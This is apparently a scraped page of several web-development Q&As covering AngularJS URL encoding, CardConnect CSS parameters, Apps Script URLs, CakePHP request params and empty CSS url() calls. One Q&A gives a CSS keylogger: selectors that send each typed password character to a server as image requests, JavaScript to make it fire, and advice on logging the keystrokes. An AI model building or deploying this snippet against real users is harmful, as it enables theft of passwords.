How do I prevent AngularJS routing from encoding a url parameter with a ~ (tilde) - angularjs-directive

Currently when I pass a param to $state.go that includes a ~ it duplicates when the url is being created.
Example:
I search for ~abc. Then pass to $state.go('.', {myParam: "~abc"}). Then inside url I have https://localhost/somePath?myParam=~~abc
According to RFC3986 the '~' must be percent-encoded in HTML forms to "%7E". If I encode prior then I still have the same issue. So I assume the value must be handled inside of $stateProvider or by customizing $urlmatcherfactoryprovider inside of UI router.

I was able to fix by passing a type of any to my state's url queryParam since it is not encoded by UrlMatcherFactory by updating the /state?:param to /state?{param:any} since this is expected behavior for ~ to ~~. More details can be found here: https://github.com/angular-ui/ui-router/issues/3790

With the new httpParamSerializer in AngularJS you can do it by writing your own paramSerializer and setting $httpProvider.defaults.paramSerializer.

Related

How do you make a Keylogger with CSS?

input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});
Is what I've found but I don't think it works. How do I do it?
Edit: I realised that the CSS snippet won't work as typing in the input field will not change the value attribute of the html element. A JavaScript function is required to do this. Hence, include the last 3 lines of your snippet in a script tag and then it should work.
The CSS Keylogger was originally a thought experiment as explained in this LiveOverflow video. The snippet you are using is assuming that http://localhost:3000/ is a malicious Web server which records your HTTP requests.
In this case entering "a" on the keyboard (in the input field) would send a request to http://localhost:3000/a (for fetching the background image) which you may intercept as "a" on the Web server. You may write a NodeJS or Python Web server to intercept these requests and get the keystrokes.

URL Encoding CSS parameters

I'm fairly new to development so please don't kill me on this question.
I'm building an ecom site checkout using Cardconnect. In their docs url-encoding CSS parameters are mandatory while in the UAT stage but not in PROD - for validation purposes (https://developer.cardconnect.com/hosted-iframe-tokenizer#iFrame-styling). When I URL encode the CSS for the UAT domain my CSS gets stripped. When toward the non-uat domain, it renders as I expect. I suspect the URL encoding is incorrect but I'm unsure to which part is not right. Any guidence would be appreciated.
**CSS Renders**
https://fts.cardconnect.com/itoke/ajax-tokenizer.html?invalidinputevent=true&css=.error{color:red;border-color:red;};input{width:325px;margin-left:10px;padding-left:2px;height:25px;vertical-align:middle;margin-top:25px;font-size:12px;background-color:#ffffff;}
**CSS Doesn't Render**
https://fts-uat.cardconnect.com/itoke/ajax-tokenizer.html?invalidinputevent=true&css%3D.error%7Bcolor%3Ared%3Bborder-color%3Ared%3B%7D%3Binput%7Bwidth%3A325px%3Bmargin-left%3A10px%3Bpadding-left%3A2px%3Bheight%3A25px%3Bvertical-align%3Amiddle%3Bmargin-top%3A25px%3Bfont-size%3A12px%3Bbackground-color%3A%23ffffff%3B%7D
Yeah, your encoded URL seems to be invalid.
If you look at the parameters part:
?invalidinputevent=true&css%3D.error
css is a parameter name, it should be followed by an = and the encoded value. But you have the = also encoded to %3D that's why it's invalid.
You should use the encodeURI function to encode a full URL:
encodeURI('your url')
Which returns:
https://fts.cardconnect.com/itoke/ajax-tokenizer.html?invalidinputevent=true&css=.error%7Bcolor:red;border-color:red;%7D;input%7Bwidth:325px;margin-left:10px;padding-left:2px;height:25px;vertical-align:middle;margin-top:25px;font-size:12px;background-color:#ffffff;%7D
As you can see, this one retained the css=value format.

How do I get the base URL in web app (i.e., /exec vs. /dev)?

How do I get the base URL from within the doGet(e) function?
If I am writing an HTML template that is setting anchors, how do I determine the base URL? It could be .../exec or .../dev.
I do not see the URL in the parameters.
techhowch's comment got me going in the right direction.
ScriptApp.getService().getUrl() does the trick!
Documentation:
https://developers.google.com/apps-script/reference/script/service#getUrl()
https://developers.google.com/apps-script/guides/html/reference/host#properties

What is CakePHP $request->params['bare']?

I know the origin and use of other params in the request object but what is $request->params['bare']use for and when is it set? .when debugging with DebugKit, I like to use request panel to inspect the entire request object and sometimes encounter it set.
It's a parameter typically only used internally with RequestActionTrait (which is deprecated as of CakePHP 3.3.0, you should use View Cells instead).
When true-ish, the controller will disable autoLayout for rendering, ie no layout is being rendered, only the corresponding template of the requested action is.
See also
GitHub > Remove all references to requestAction()
Source > Controller\Controller::render()
Source > Routing\RequestActionTrait::requestAction()

Inline CSS url() function request page URL again

If the url() function in CSS is called without any parameters, does it send a request to the page's URL?
I am building an angular app and I have the following, rather naive code in my partial:
<div style="background-image: url({{scope.image_url}});">
{{scope.message_text}}
</div>
When the app loaded, I noticed that there was a call being made to my page's URL causing my server-side handlers to fire some analytics events incorrectly.
From my observation, I saw this behavior on Chrome & Firefox. However, I am not able to locate any documentation which states the behavior of the url() function when no argument is passed.
Please let me know if this is the correct behavior or if I am missing something.
As described by W3, the url() function expects a string as a parameter. Here in your case $scope.image_url was resolved to an empty string, which is a legal Relative URL, so browser will try to resolve this to a full URL, which in your case is base_url + ''.
You can verify that by change $scope.image_url = '1', then you can see one request to http://yourdomain/1.
To prevent this I would suggest you to create a fallback directive to show a default image if you don't have a image for this record, see this stackoverflow answer for more details
I think he's resolving your empty bind as url(undefined).. So He'll try to resolve the URL http://<domain>/path/to/your/page/undefined .
Do you initialize scope.image_url on page load?
To prevent this, I suggest to bind the entire style attribute, and not only the url() ... If there is no "empty" url(), I think it won't load a random request... Or if the background is only static, use CSS classes instead of style attribute...